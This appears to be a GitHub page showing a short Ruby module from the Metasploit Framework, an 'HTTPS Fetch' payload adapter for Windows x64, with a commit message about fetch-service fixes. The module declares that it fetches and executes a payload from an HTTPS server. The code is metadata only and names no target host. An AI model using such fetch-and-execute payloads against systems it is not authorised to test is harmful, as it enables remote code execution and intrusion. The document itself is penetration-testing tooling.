a8c240f671
* Build the HTTPS server on top of HTTP instead of the other way around * Set the fetch service to nil after it has been cleaned up * Don't capitalize the H in the word handler * Check if the fetch_service is truthy before cleaning it up * Remove the unused FetchServerName datastore option * Fixup the description text * Don't allow slashes in fetch file names * Also add the #fetch_bindnetloc method Fix a problem in fetch/tftp.rb
26 lines
677 B
Ruby
26 lines
677 B
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
module MetasploitModule
|
|
include Msf::Payload::Adapter::Fetch::Https
|
|
include Msf::Payload::Adapter::Fetch::WindowsOptions
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'HTTPS Fetch',
|
|
'Description' => 'Fetch and execute an x64 payload from an HTTPS server.',
|
|
'Author' => 'Brendan Watters',
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'License' => MSF_LICENSE,
|
|
'AdaptedArch' => ARCH_X64,
|
|
'AdaptedPlatform' => 'win'
|
|
)
|
|
)
|
|
end
|
|
end
|